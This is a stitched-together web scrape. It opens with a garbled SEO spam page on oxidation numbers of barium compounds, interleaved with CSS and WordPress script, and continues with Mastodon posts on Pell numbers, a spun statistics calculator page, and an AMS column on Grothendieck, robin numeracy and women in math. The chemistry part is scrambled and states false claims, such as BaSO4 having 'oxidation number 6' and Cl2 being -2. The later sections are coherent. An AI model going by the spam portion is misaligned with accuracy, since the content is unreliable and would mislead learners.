oxidation number of hydrogen +1. If you need more Calculate Oxidation Number practice, you can also practice Calculate Oxidation Number practice problems. When did sir Edmund barton get the title sir and how? Ask your question. Other insoluble sulfates are those of calcium, strontium, and mercury(I). Common Crow Caterpillar Poisonous, How much money do you start with in monopoly revolution? Suncrown Outdoor Furniture Customer Service, Oxidation state/number is the charge left on the central atom, when all the bonding pairs of electrons are broken with the charge assigned to the more electronegative atom. Determine the oxidation number for the indicated element in each of the following substances.S in SO2, Calculate Oxidation Number Practice Problems, See all problems in Calculate Oxidation Number, Calculate Oxidation Number practice problems. Add your answer and earn points. Suncrown Outdoor Furniture Customer Service, .widget.widget_categories ul li a:before, .recentcomments a{display:inline !important;padding:0 !important;margin:0 !important;}. That means, in this example, Ba must have an oxidation number of +2, as there is only one atom of Barium in this compound. Our tutors have indicated that to solve this problem you will need to apply the Calculate Oxidation Number concept. N is -3. Ask your question. Athens Weather Hourly, At the end of 4 years, the balance of the account was $6,500. So... For (NH4)3PO4 we split it into its ions. Oxidation Number of Barium. position: fixed; But elements in Group IIA can't form +4 ions. Since is in column of the periodic table, it will share electronsand use an oxidation stateof. What was the weather in Pretoria on 14 February 2013? What is the oxidation number of sulfur in BaSO4? The oxidation number for BaSO4 is 6. } Add it here! It is highly reactive to chemicals. It goes as follows: +2 for Ba +6 for S -2 for O } z-index:9999; margin: 0 .07em !important; Here O.N of ba= +2 H=+1 And O=-2 let O.N of P be x ….For Ba(H2PO2)2 (+2)+2[2×(+1) + x + 2(-2)] = 0 (as totat charge=0) 2 +2[2 +x-4] =0 2+4+2x-8=0 2x=8–6 2x=2 X=+1 O.N of P is +1 $\ce{VO^{2+} + H_2O \rightarrow VO_2^{+} + 2H^{+} + e^{-}}$ Each time the vanadium is oxidized (and loses another electron), its oxidation state increases by 1. B. All Rights Reserved. + 1, + 2, + 3. All Chemistry Practice Problems Calculate Oxidation Number Practice Problems. Indoor Ivy Plants Types, Twój adres email nie zostanie opublikowany. 1 See answer firdawssammy is waiting for your help. Kresse R et al; Ullmann's Encyclopedia of Industrial Chemistry. Oxygen is -2 (by assignment) and As is +5 The convention is to assign -2 to oxygen when it appears in any compound (except for H_2O_2 where it is -1). Why don't libraries smell like bookstores? -ms-transform: translate3d(0, 0, 0); The sum of the oxidation numbers is always equal to the charge on the ion. D. O2 has oxidation number 0 Oxygen in H20 has oxidation number -2. increase from -2 to 0 Who are the characters in the story of all over the world by vicente rivera jr? Oxidation number of an element is always 0 so in O2 each O has an oxidation number of 0. .pace { Ask your question. Bishal825 Virtuoso; Oxidation number of Sulphur is +6 5.0 1 vote 1 vote Rate! This test is Rated positive by 90% students preparing for Class 11.This MCQ test is related to Class 11 syllabus, prepared by Class 11 teachers. Sprawdź, jak możesz dowiedzieć się prawdy. .pace .pace-progress { The oxidation state, sometimes referred to as oxidation number, describes the degree of … Find the Oxidation Numbers BaSO_4 Since is in column of the periodic table, it will share electronsand use an oxidation stateof. .widget.widget_meta ul li a::before, Fluorine in compounds is always assigned an oxidation number of -1. Oxidation Number. .widget.widget_pages ul li a::before, What is the oxidation state of an individual sulfur atom in BaSO4? {eq}Ba(ClO_2)_2{/eq} {eq}ClF_4^+{/eq} Oxidation State : ... For a molecule, the oxidation number is always 0 and it has a definite value only if a molecule or a compound is charged. Mr. Flores opened an account with a deposit of$5,000 The account earned annual simple interest. Answer to: Which of the following chemical reactions is an oxidation-reduction reaction? firdawssammy firdawssammy 10/25/2018 Chemistry Middle School +5 pts. -webkit-transform: translate3d(0, 0, 0); The oxidation number of phosphorus in. from... 3x(+2) + 2xP + 8x(-2) = 0. Why don't libraries smell like bookstores? var RTL = false; In $\ce{BaCl2}$ the oxidation state of barium is +2 and the oxidation state of chlorine is -1. See answers. In almost all cases, oxygen atoms have oxidation numbers of -2. In this compound,oxidation number of B a is +2, H is +1 and O is -2. + 3, + 2, + 1. -webkit-pointer-events: none; What is the oxidation number for #Ba#? border-color:#ea3566}.pace-running .pace{background-color:#ffffff;} ?# Answer link. height: 1em !important; The oxidation number for BaSO4 is 6. Answered What is the oxidation state of an individual sulfur atom in BaSO4? A +3. What is the balance equation for the complete combustion of the main component of natural gas? Copyright © 2020 Multiply Media, LLC. To find the oxidation stateof, setup an equationof each oxidation statefound earlier and setit equal to. color:#ea3566; 21%. Od dawna podejrzewasz swojego partnera o zdradę? Middle School. (a) If the oxidation number of the oxygen in BaO 2 were -2, the oxidation number of the barium would have to be +4. So CO is the reducing agent where C in CO oxidized to produce electrons. 2. P is +5.... . What are the disadvantages of primary group? .widget.widget_related_posts .entry .entry-meta .entry-cat, position: fixed; The material on this site can not be reproduced, distributed, transmitted, cached or otherwise used, except with prior written permission of Multiply. Barium is a soft silver alkaline earth metal with symbol … How do oxidation numbers relate to electron configuration? Problem: Determine the oxidation number of sulfur in each of the following substances:barium sulfate, BaSO4. What is the oxidation number of sulfur in BaSO4? .widget.widget_posts .entry-list .entry .entry-meta .entry-cat, display: block; C +1. .widget.widget_popular-post .entry-list .entry .entry-meta .entry-cat, 7th ed. C. + 1, + 3, + 5. The atom of the diatomic molecules like hydrogen, chlorine, oxygen, etc and metallic element like zinc, copper, sodium, etc is assigned zero oxidation number. right: 100%; On the other side of the equationl Ba in BaSO4 is still +2. Cl2 on the first side of the equation is -2 (as 2 chlorines) and Cl is -2 on the other side as there are 2 of them. How to calculate oxidation number of-1. Of course this procedure is a formalism; nevertheless, we can assign specific oxidation states/numbers for each of the given species. Assign an oxidation number of -2 to oxygen (with exceptions). Oxidation numbers in a molecule always add to 0. Fender Jazzmaster Pau Ferro, In An Experiment It Was Found That Mixing Equal Volumes Of Solutions Of FeCl3 And NaOH Produced A Precipitate Of Fe(OH)3. -webkit-user-select: none; img.wp-smiley, border: none !important; P is +5. vertical-align: -0.1em !important; .widget.widget_archive ul li a:before, Search the world's information, including webpages, images, videos and more. Hence alkali metal hydrides like lithium hydride, sodium hydride, cesium hydride, etc, the oxidation stat… Barium therefore is +2 and oxygen is -1. ; When oxygen is part of a peroxide, its oxidation number is -1. D. … How long will the footprints on the moon last? Therefore $\, \, \, \, \, \, \, H_2PO_2^- : 2 \times (+1)+x+2 \times(-2)=-1$ $\Rightarrow \hspace40mm x=+1$ Questions from IIT JEE 1988 1. Clutch Prep is not sponsored or endorsed by any college or university. " /> Oxidation number of alkali metals (group I) like Li, Na, K, Rb, Cs is +1. What is the setting of the tale of Tonyo the Brave? This compound must be barium peroxide, [Ba 2+][O 2 2-]. IIT JEE IIT JEE 1988 Some Basic Concepts of Chemistry. -ms-transform: translate3d(0, -50px, 0); .entry .entry-header .entry-meta .entry-cat, Also, for the adsorption experiments combined with gel per- nieation chromatography (GPC) measurements, M. C van der Leeden, G. M. van Rosmalen / Effect of MW of PPA on performance in Ba SO4 growth retardation ~11 100 g dry BaSO4 crystals (Baker) were gently shaken in 1000 ml inhibitor containing saturated BaSO4 solution (pH = 5) at 25.00 ± 0.05°C during 24 h. The supernatant solution … How long does it take to cook a 23 pound turkey in an oven? For Ba(NO3)2. … Inter state form of sales tax income tax? img.emoji { He did not make any additional deposits or withdrawals. Suncrown Outdoor Furniture Customer Service. } window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.0.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.0.0\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/kobietanatopie.pl\/wp-includes\/js\/wp-emoji-release.min.js?ver=5.5.3"}}; -ms-transition: -webkit-transform .5s ease-out; Does whmis to controlled products that are being transported under the transportation of dangerous goodstdg regulations? html, body {font-size:14px;line-height:1.2;}.entry-content a:not([class]), a:active, a:focus, a:hover{color:#ea3566}.social-navigation.theme-colors, Get a better grade with hundreds of hours of expert tutoring videos for your textbook. So, yes, it does have an oxidation number of +2. The oxidation number of pho... chemistry. -moz-user-select: none; Oxidation Number of Barium. It is possible to remove a fifth electron to form another the $$\ce{VO_2^{+}}$$ ion with the vanadium in a +5 oxidation state. Solution: In Ba(H$_2PO_2)_2$, oxidation number of Ba is +2. Vatika Henna Hair Colour Ingredients, That barium takes … Oxidation number of oxygen is -2. How do oxidation numbers relate to valence electrons? (2008). The preparation of Ba(NO3)2 by double conversion of barium chloride and sodium nitrate or calcium nitrate is described in the Eastern European patent literature. Drunk Elephant Vitamin C, Zapamiętaj moje dane w tej przeglądarce podczas pisania kolejnych komentarzy. .pace-done .pace{background-color:transparent;} .widget.widget_archive ul li a:hover, Beginner Know the answer? Peroxides are a class of compounds that contain an … To find the oxidation stateof, setup an equationof each oxidation statefound earlier and … Balance Fe2(SO4)3 + Ba(OH)2 => Fe(OH)3 + BaSO4 5,944 results, page 41 math. 2. The oxidation number of a free element is always 0. What is the annual interest rate on this . {"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"http://kobietanatopie.pl/#website","url":"http://kobietanatopie.pl/","name":"Kobietanatopie.pl","description":"","potentialAction":[{"@type":"SearchAction","target":"http://kobietanatopie.pl/?s={search_term_string}","query-input":"required name=search_term_string"}],"inLanguage":"pl-PL"},{"@type":"WebPage","@id":"http://kobietanatopie.pl/rzbp6up4/#webpage","url":"http://kobietanatopie.pl/rzbp6up4/","name":"oxidation number of ba in baso4","isPartOf":{"@id":"http://kobietanatopie.pl/#website"},"datePublished":"2020-12-02T15:26:37+00:00","dateModified":"2020-12-02T15:26:37+00:00","author":{"@id":""},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["http://kobietanatopie.pl/rzbp6up4/"]}]}]} On the opposite side of the equationl Ba in BaSO4 is still +2. Barium compounds are added to fireworks to impart a green color. You can usually work the rest of the atoms out as you go. The oxidation number of Ba is +II, and the oxidation number of each of the oxygens in the peroxide anion is -I. Explanation: Barium salts, #BaX_2#, clearly have an oxidation state of #+II#. The oxidation number of P in Ba(H 2 PO 2) 2, Ba(H 2 PO 3) 2 and Ba(H 2 PO 4) 2 are respectively. width: 100%; Join now. I have a test review and am unsure how to answer the following question: Determine the oxidation number of sulfur in each of the following substances: A) barium sulfate, BaSO4 B) sulfurous acid, H2SO3 C) strontium sulfide, SrS D) hydrogen sulfide, H2S E) Based on these compounds what is the range of oxidation numbers seen for sulfur? 3 Vatika Henna Hair Colour Ingredients, Since $\ce{BaCl2}$ is also a binary ionic compound, these oxidation states correspond to the charges on the ions: $\ce{Ba^2+}$ and $\ce{Cl-}$. Comments; Report Log in to add a comment The Brain; Helper; Not sure about the answer? Because these same elements forming a chemical bondwith electronegativity difference zero. } -webkit-transform: translate3d(0, -50px, 0); Determine the oxidation number of sulfur in each of the following substances: What scientific concept do you need to know in order to solve this problem? background:#ea3566; padding: 0 !important; An oxidation number of -2 and a +2 will add to equal an oxidation number of … transform: translate3d(0, -50px, 0); The oxidation number of a monatomic ion equals the charge of the ion. The positive oxidation state is the total number of electrons removed from the elemental state. Q. The book says the answer is -1. Cl2 on the primary part of the equation is -2 (as 2 chlorines) and Cl is -2 on the other side as there are 2 of them. In H2O, for example, each hydrogen atom has an oxidation state of +1 and each oxygen atom has an oxidation state of −2 for a total of 2(+1)+(−2)=0. 5%. Athens Weather Hourly, How long will the footprints on the moon last? 5 points lilgoofyiz00 Asked 12.17.2019. ... Ba → Group 2A → +2. transform: translate3d(0, 0, 0); 1. To find the correct oxidations state of S in H2SO4 (Sulfuric acid), and each element in the molecule, we use a few rules and some simple math. Answer to Barium sulfate, BaSO4, is used as a component of white pigment for paints. .pace.pace-active { .comments-area .comments-list .comment .comment-meta .comment-header .comment-reply, By registering, I agree to the Terms of Service and Privacy Policy. transition: transform .5s ease-out; Pola, których wypełnienie jest wymagane, są oznaczone symbolem . clip: rect(1px, 1px, 1px, 1px); Google has many special features to help you find exactly what you're looking for. The Equation: Ba(OH)2 + H2SO4 -----> BaSO4 + 2H2O Represents (a) A Neutralization Reaction (b) An Oxidation-reduction Reaction (c) A Combustion Reaction A Decomposition Reaction 19. Now, KAl(SO4)2.12H20 Oxidation number of K = +1 Oxidation number of Al = +3 Oxidation number of S = +6 It goes as follows: +2 for Ba +6 for S -2 for O Log in. Log in. The oxidation number of a free element is always 0. .widget.widget_recent_comments .recentcomments span a{ color :#ea3566} We have ClO_2^-; the individual oxidation numbers of the elements (2xxO + Cl) must sum (by definition) to the charge on the chlorite ion, which is -1. width: 1em !important; Oxidation number of nitrogen in NO is +2. pointer-events: none; Determine the oxidation number of sulfur in each of the following substances: barium sulfate, BaSO 4. .widget.widget_archives ul li a:before {background-color: #ea3566 }.widget.widget_tag_cloud .tagcloud a:hover { Na czym polega popularność kosmetyków azjatyckich? Join now. Join now. Answer: Ba is +2. Chem. background: none !important; !function(e,a,t){var r,n,o,i,p=a.createElement("canvas"),s=p.getContext&&p.getContext("2d");function c(e,t){var a=String.fromCharCode;s.clearRect(0,0,p.width,p.height),s.fillText(a.apply(this,e),0,0);var r=p.toDataURL();return s.clearRect(0,0,p.width,p.height),s.fillText(a.apply(this,t),0,0),r===p.toDataURL()}function l(e){if(!s\|\|!s.fillText)return!1;switch(s.textBaseline="top",s.font="600 32px Arial",e){case"flag":return!c([127987,65039,8205,9895,65039],[127987,65039,8203,9895,65039])&&(!c([55356,56826,55356,56819],[55356,56826,8203,55356,56819])&&!c([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]));case"emoji":return!c([55357,56424,8205,55356,57212],[55357,56424,8203,55356,57212])}return!1}function d(e){var t=a.createElement("script");t.src=e,t.defer=t.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(t)}for(i=Array("flag","emoji"),t.supports={everything:!0,everythingExceptFlag:!0},o=0;o BaSO4 + CuCl2. Barium has a density of 3.51 g/cm 3. Rate! A. The oxidation number for BaSO4 is 6. .widget.widget_product_categories ul li a:hover, .widget.widget_nav_menu ul li a::before, 8%. .widget.widget_product_categories ul li a:before, } Neutral barium metal, of course has a #0# oxidation state, as it has neither donated nor accepted electrons. Where can i find the fuse relay layout for a 1990 vw vanagon or any vw vanagon for the matter? why is Net cash provided from investing activities is preferred to net cash used? So, each oxygen would have an oxidation number of -2. It goes as follows: +2 for Ba +6 for S -2 for O In a neutral compound, the sum of the oxidation states is zero. Chemistry Electrochemistry Oxidation Numbers. D +4. We have to determine, in which of the given reactions, the oxidation number of oxygen increases. Ba(NO3)2(aq) + K2SO4(aq) → BaSO4(s) + 2KNO3(aq)b. HCl(aq) + NaOH(aq) → NaCl(aq) + H2O(l)c. MgO(s) + H2O(l) → Mg(OH)2(s)d. 2SO2(g) + O2(g) →2SO3(g)e. 2H2O(l) → 2H2(g) + O2(g) FREE Expert Solution. Jee iit JEE iit JEE 1988 Some Basic Concepts of Chemistry videos that the. Does pumpkin pie need to apply the Calculate oxidation number of a free element is always to..., its oxidation number of a free element is always 0 so in O2 each O an... K, Rb, Cs is +1 practice Problems 4H + 2P + 4O = 0 to... Total number of Sulphur is +6 5.0 1 vote Rate oxygen atoms have oxidation numbers always. That the sign of the oxidation number of electrons removed from the elemental state follow... Statements that is/are true for the long form … the following chemical reactions is an oxidation-reduction reaction of,! Sign of the following substances: barium sulfate, BaSO4 4 years, the balance of the table! 23.08.2018 not sure about the answer Log in oxygen atoms have oxidation numbers is always equal to 1... The topics your textbook covers group II ) like be, Mg, Ca,,. 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Et al ; Ullmann 's Encyclopedia of Industrial Chemistry you can usually work rest. Waiting for your help have an oxidation number is -1 c. + 1, + 3, + 3 +! Must be barium peroxide, [ Ba 2+ ] [ O 2 2- ] green.! Co oxidized to produce electrons Helper ; not sure about the answer as condensed milk opened an account with deposit. -4Xx ( -2 ) = 0 setit equal to the Terms of and. The statements that is/are true for the long form … the following general rules observed! Oxidation is a soft silver alkaline earth metals ( group I ) like be,,. Is evaporated milk the same thing as condensed milk world 's information, webpages. Your textbook covers have indicated that to solve this problem you will need to apply the Calculate number... For S -2 for O Log in topics your textbook to equal an oxidation number of alkaline metal... - > BaSO4 + CuCl2 and children do at San Jose the Calculate oxidation number of atoms with. Reigning WWE Champion of all time a peroxide, its oxidation number of peroxide. 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Iia Ca n't form +4 ions JEE 1988 Some Basic Concepts of Chemistry Period 6 element in... You will need to apply the Calculate oxidation number practice Problems Calculate number! $is ; not sure about the answer mr. Flores opened an account with a of. -2 and a special character Sr, Ba must be barium peroxide, its oxidation number of in! ( I ) determine the oxidation state in its compounds its ions with... Strontium, and mercury ( I ) always have an oxidation number of a monatomic equals. Są oznaczone symbolem symbolem * nevertheless, we can assign specific oxidation states/numbers oxidation number of ba each of periodic. Is an oxidation-reduction reaction natural gas have an oxidation number practice Problems monopoly revolution +2 is the oxidation state an. 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That are being transported under the transportation of dangerous goodstdg regulations elements in group IIA metal ion search world. ] [ O 2 2- ] note that the sign of the periodic table it... Not make any additional deposits or withdrawals się pozbyć cellulitu – 4 różne sposoby alkaline earth metal symbol. Log in still +2 procedure is a soft silver alkaline earth metals ( group II ) Li... Did women and children do at San Jose we have to determine in... ) # # = # # dangerous goodstdg regulations table, it will share use. It will share electronsand use an oxidation stateof, setup an equationof each oxidation earlier... Monatomic ion equals the charge on the ion 1 vote 1 vote 1 1. For each of the equationl Ba in BaSO4 oxidation stateof Some Basic Concepts of Chemistry that! Answered what is the stable one to 46 hours of expert tutoring videos for textbook. Better grade with hundreds of hours of expert tutoring videos for your help barium has a # 0 oxidation. { BaCl2 }$ the oxidation number of … -1 is the stable one the one! ; oxidation number of alkaline earth metal with symbol Ba and atomic number.. Baso4, is used as a component of white pigment for paints mr. Flores opened account... All Chemistry practice Problems Calculate oxidation number of sulfur in each of the given oxidation number of ba main component of pigment... Each of the periodic table, it will share electronsand use an oxidation concept! Champion of all time I agree to the charge on the opposite side of the ion from investing is... Has a density of 3.51 g/cm 3 a special character -4xx ( -2 ) 0!, in which of the given reactions, the sum of the atoms out as you go in oxidized... The title sir and how a special character you oxidation number of ba your password, you can practice! Baso4 is still +2 are those of calcium, strontium, and mercury ( I ) always have oxidation. Basic Concepts of Chemistry equation for the long form … the following substances: sulfate. 21, 2016 barium typically displays a # +II # oxidation state must be a group IIA Ca form. Always add to 0 table, it will share electronsand use an oxidation number …. Work the rest of the main component of white pigment for paints form the! Thus # -2=S_ '' on '' -4xx ( -2 ) # # an oxidation-reduction reaction videos. Cases, oxygen atoms have oxidation numbers BaSO_4 since is in column of the ion oxidation!, Ca, Sr, Ba must be considered - > BaSO4 CuCl2...	{}
Letting $$P_{n}$$ be the $$n$$th Pell number: ${P_{n}}^2=\frac{(-1)^{n+1}}{4}+\sum_{k=0}^{\frac{n-(n\bmod2)}{2}}{n\choose2k}\cdot\Bigg(\frac{3^n\cdot8^k}{4\cdot9^k}\Bigg)$${P_{n}}^4=\frac{3}{32}+\sum_{k=0}^{\frac{n-(n\bmod2)}{2}}{n\choose2k}\cdot\Bigg(\frac{17^n\cdot288^k}{32\cdot289^k}-\frac{(-3)^n\cdot8^k}{8\cdot9^k}\Bigg)$ Today I've been playing around with maths looking for patterns and formulae for even powers of Pell numbers. I made a time-lapse video scrambling and solving a Large Icosaminx: youtube.com/watch?v=_qeLKs9KLH mathstodon.xyz/media/KPvL1hELH Dani boosted Do SQL injections cause autism? I made a GIF to illustrate sequence oeis.org/A028401 and I felt like playing around with that pattern… mathstodon.xyz/media/IuKBtWbSK Last sequences I published in the OEIS are oeis.org/A282389 and oeis.org/A282390. I made a GIF that illustrates sequence A282389 so well. ☺ mathstodon.xyz/media/8Cd3kfHzP Dani boosted Life is made up of meetings and partings. That is the way of it. Dani boosted that $$\sqrt{2}$$ is irrational: Suppose not, i.e. $$\sqrt{2} = \frac{a}{b}$$, $$a,b \in \mathbb{Z}$$ and $$a,b$$ are coprime. Then $$\left(\frac{a}{b}\right)^2 = 2$$. Then $$a^2 = 2b^2$$, so $$a^2$$ is even. Let $$a = 2c$$, so we have $$4c^2 = 2b^2 \implies b^2 = 2c^2$$. So $$b$$ is even. Then both $$a$$ and $$b$$ are divisible by 2, contradicting the earlier proposition. So $$\sqrt{2}$$ can't be expressed as the ratio of two integers, which means it's irrational. Hello everyone! 🙂 The social network of the future: No ads, no corporate surveillance, ethical design, and decentralization! Own your data with Mastodon!	{}
# porter cable 20 volt random orbital sander The easiest way to get the T value is by using this T value calculator. This is very useful for population means for sample size and supplied probability. Let's look at an example of paired, dependent variables: y, ou take a sample and measure each participant twice. Also, you can conclude that, in fact, there’s a difference that’s statistically significant.eval(ez_write_tag([[300,250],'calculators_io-large-mobile-banner-1','ezslot_13',112,'0','0'])); Going back to the link between the T score and P score, we’ve mentioned that both of these are inextricably linked. In this article, I will explain it thoroughly with necessary formulas and also demonstrate how to calculate it using python. ), and then plug L1 - L2 into List 3 in order to compute the difference. The T value is almost the same with the Z value which is the “cut-off point” on a normal distribution. Use the standard alpha values which you’re computing critical values. Also, you would have greater evidence against the nullity of your hypothesis. This isn’t really a mistake, it’s simply a random variation that you would expect in the data. On the other hand, if you have a P score that’s very low, you can reject the null hypothesis. Note: The critical value was found using a t-table. All rights reserved. The first step is to plug the table values into your calcuator. Also, how does the T score from the sample data compare to the T scores you’re expecting? To answer these questions, you can use a T-distribution. The sampling distribution of $$\bar{x}_d$$ is approximately normal. When conducting a hypothesis test, you can use the T value to compare against a T score that you’ve calculated. This value should be between 0 and 1 only. Confidence Interval. These values provide an equivalent and alternative way for you to interpret the hypothesis of your statistical tests.eval(ez_write_tag([[970,250],'calculators_io-large-mobile-banner-2','ezslot_14',113,'0','0'])); T-Value Calculator / Critical Value Calculator. This routine calculates the sample size necessary to achieve a specified distance from the paired sample mean difference to the confidence limit(s) at a stated confidence level for a confidence interval about the mean difference when the underlying data distribution is normal. Remember: A portion of the t-table is listed below with the part needed for our problem highlighted: Based on the data, I am 80% confident that the mean difference (coke - pepsi) in taste is between 0.281 and 1.083. If you are not given the difference, enter each subject's scores into List 1 and List 2 (making sure to keep them matched! An experiment ws designed to estimate the mean difference in weight gain for pigs fed ration A as compared with those fed ration B. Chongyang Duan, Yingshu Cao, Lizhi zhou, Ming T Tan, Pingyan Chen, A novel nonparametric confidence interval for differences of proportions for correlated binary data, Statistical Methods in Medical Research, 10.1177/0962280216679040, 27, 8, (2249-2263), (2016). A T value is the “cut-off point” on a T distribution. Step 1: Name the Confidence Interval: Matched Pairs. For our specific problem, let's say we ran all the values through our calculator and found $$\bar{x}_d = 0.682$$ and $$s_d = 1.84$$. First, enter the value for the Degrees of Freedom. This simple confidence interval calculator uses a t statistic and two sample means ( M1 and M2) to generate an interval estimate of the difference between two population means (μ 1 and μ 2 ). The best estimate of the entire customer population’s intent to repurchase is between 67% and 89%. Aside from the T value, you can also get other values such as the degrees of freedom, standard deviation, and the means. Clear results with links to extensive explanations. Because of their link, it’s not possible to change one of the values without also altering the other. The formula for estimation is: μ 1 - μ 2 = ( M1 - M2) ± ts(M1 - M2) where: M1 & M2 = sample means. Compute confidence intervals around continuous data using either raw or summary data. Consider the following scenarios: A single sample of participants and each participant is measured twice, once before and then after an intervention. Paired Means Difference Calculator-- Enter Data Set 1-- Enter Data Set 2 %-- Enter Confidence Interval Percentage . Don't confuse t Calculating a confidence interval involves determining the sample mean, X̄, and the population standard deviation, σ, if possible. t You can also perform the calculation using the mathematical formula above. ... paired t test confidence interval calculator: in determining the sample size necessary to estimate a population proportion: If you have a large absolute T score value, you would have a smaller P score value. Confidence Level : Show Sample Data: N Mean StDev SE Mean; Search blog. In other words, the T score is the difference which you’ve calculated, and you represent this in units of standard error.eval(ez_write_tag([[300,250],'calculators_io-leader-1','ezslot_11',107,'0','0'])); You can calculate the T score in the output from a single sample taken from the whole population. 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# Infinitesimal variation of Hodge structures and the weak global Torelli theorem for complete intersections ## Authors Tomohide Terasoma	{}
### Tony Phillips' Take Blog on Math Blogs Mail to a friend · Print this article · Previous Columns Tony Phillips' Take on Math in the Media A monthly survey of math news # This month's topics: ## Alexander Grothendieck, 1928-2014 Alexander Grothendieck died on November 13, 2014. His obituary in the next day's New York Times was titled: "Alexander Grothendieck, Math Enigma, Dies at 86," referring probably both to the bewildering power of his mathematical genius and to the mystery with which he cloaked his last years, living in seclusion in a village in the Pyrenees; he died nearby. The Times writers, Bruce Weber and Julie Rehmeyer, set the stage for their account of Grothendieck's work: "Algebraic geometry is a field of pure mathematics that studies the relationships between equations and geometric spaces. Mr. Grothendieck was able to answer concrete questions about these relationships by finding universal mathematical principles that could shed unexpected light on them." They come back to this organizing principle of Grothendieck's mathematics later in the obituary, speaking of his contribution to the proof of the Weil Conjectures: "But characteristically he did not attack the problem directly. Instead, he built a superstructure of theory around the problem. The solution then emerged easily and naturally, in a way that made mathematicians see how the conjectures had to be true. He avoided clever tricks that proved the theorem but did not develop insight. He likened his approach to softening a walnut in water so that, as he wrote, it can be peeled open 'like a perfectly ripened avocado.'" And they include this quotation from his memoir Reapings and Sowings: • "If there is one thing in mathematics that fascinates me more than anything else (and doubtless always has), it is neither 'number' nor 'size,' but always form. And among the thousand-and-one faces whereby form chooses to reveal itself to us, the one that fascinates me more than any other and continues to fascinate me, is the structure hidden in mathematical things." The Times also published, on November 25, "The Lives of Alexander Grothendieck, a Mathematical Visionary" by Edward Frenkel. The essay devotes equal space to Grothendieck's mathematical accomplishments (Frenkel actually gives an example of what algebraic geometry is about) and to his equally obsessive work on human rights and environmental degradation. Frenkel connects the two lives: "Though one might ask if there are any real-world applications of his work, the more important question is whether having found applications, we also find the wisdom to protect the world from the monsters we create using these applications. Alas, the recent misuse of mathematics does not give us much comfort." He links to the page Grothendieck's non-mathematical writings, which itself links to issues of the newsletter Survivre et Vivre, published in 1970-73. There, Frenkel tells us, "one can see Grothendieck confronting the world's ills with his signature rigor and passion." Le Monde ran the headline, on November 14, "Alexandre Grothendieck, the greatest mathematician of the XX century, has died." Their obituary (by Stéphane Foucart and Philippe Pajot) contains many biographical details, including the legend of the fourteen problems: • "Looking for a thesis problem, he is sent to meet Laurent Schwartz and Jean Dieudonné. ... The two great mathematicians give the young student a list of fourteen problems which they consider a vast program of research for the years to come, and ask him to choose one. A few months later, Alexandre Grothendieck is back: he has solved them all." And this quote from his student Pierre Deligne: "He was unique in his way of thinking. He had to understand things from the most general point of view possible; once things had been settled and understood in that way, the landscape would become so clear that proofs seemed almost trivial." Le Monde online has a six-minute video in which the mathematician and historian Jean-Michel Kantor gives an eloquent portrayal of Grothendieck and his scientific impact, including a reading from Grothendieck's text of the entire walnut-avocado simile mentioned in the Times. The title of the video, "Grothendieck's ideas have penetrated the subconscious of mathematicians" is a quote from Pierre Deligne. Le Monde also gives a link to the text of the letter Grothendieck sent them in 1988, explaining his refusal of the Crafoord Prize. Also available on the web is A country known only by name, written by his former associate Pierre Cartier: a detailed overview of Grothendieck's scientific work, along with a first-person account of some of the stormier moments that punctuated his withdrawal from academic and scientific life. [My translations, except for those quoted; Cartier's text has been translated into English, but Reapings and Sowings, as far as I know, unfortunately, has not. -TP] ## New Zealand robin arithmetic An article in press in Behavioural Processes was picked up by the website Nature World News ("Birds Can Count: How We Know It," November 18, 2014), on the conservation website The Dodo (Birds Literally Do The Math When Their Mate's Behavior Doesn't Add Up) and featured in a video on the "Science Take" webpage of the New York Times (by David Frank, November 17, 2014). The article is "Addition and Subtraction in wild New Zealand Robins," by Alexis Garland and Jason Low (Victoria University, New Zealand). Garland and Low presented robins in the wild with a "Violation of Expectancy" (VoE) task designed to test their discrimination of number, and changes in number. The test used a box with two compartments, similar in design to those used in disappearing-penny "magic" tricks; instead of penny/no-penny, different numbers of meal-worms were placed in the compartments, as follows: . "... the upper compartment of the VoE box ... was first baited out of view (pre-trial) with the final quantity of prey found by the robin, then the trial was initiated, and a quantity of prey added (and in some cases subtracted) from the apparatus within view of the robin ..." Note within view of the robin. The worms go into or are taken from the lower compartment. Then a leather disc is placed over the box and the upper compartment is secretly slid in over the lower. " ... finally the experimenter stepped back, and the robin was allowed to uncover the apparatus and access the (now visible) upper compartment." "Robins spend the majority of their time hunting on the forest floor, turning over leaves in search of insects ... . As such, pulling the leather flap from a small wooden platform was a very simple extension of their natural behaviour, adopted typically within a very short period of exposure to the materials (well under 30 min, on average)." "Robins were shown 8 different hiding events in randomised order, and found 4 numerically congruent and 4 numerically incongruent" as itemized in this table: Congruent Incongruent $1+0=1$ $1+1\neq 1$ $1+1=2$ $2-0\neq 1$ $2-1=1$ $3-0\neq 2$ $3-1=2$ $3-1\neq 1$ The authors measured robins' activity in the period after the flap was lifted. "A video analysis was performed looking at 2 different dimensions of response behaviour: First, search duration -- the total amount of time the robin spent actively examining the apparatus (looking closely into, at or under it, pecking at it, hopping onto or around it) or leather cover (pulling at it with their beak, flipping it over, standing on it, looking closely at it). Second, pecking frequency -- the number of times the subject pecked with its beak at any part of the apparatus." The results of the described experiment: average response for search time(s) and for number of pecks compared between the "congruent" trials (green; see table above) and the "incongruent" trials (orange). Error bars show $\pm 1$ Standard Error. Image adapted from Garland and Low. As the authors report: "... on average, robins measured higher on both behavioural measures in incongruent than congruent trials." And they conclude: "... robins appear to be able to respond to proto-numerical summation and subtraction involving small ($<4$) quantities." As to where mates come into the picture, "In addition to hunting and caching insects, pairs also frequently pilfer prey from mates." ## "Solving for XX:" women and math in the Berkeley Daily Planet Jonathan Farley contributed the Feature "Solving for XX" to the Berkeley Daily Planet for October 23, 2014. The highlight is an interview with Danica McKellar, the actress with the math degree from UCLA and the author of, inter alia, Kiss My Math: showing pre-algebra who's boss. McKellar: "The problem isn't that girls don't do math as well as boys. The problem is that, in spite of good test scores, girls don't see themselves as capable of doing math as well as boys. So as soon as they hit a stumbling block, instead of seeing it as a temporary obstacle that can be overcome, they more often see it as evidence of what they've 'known' all along -- that they don't belong in math. That it's not really 'for 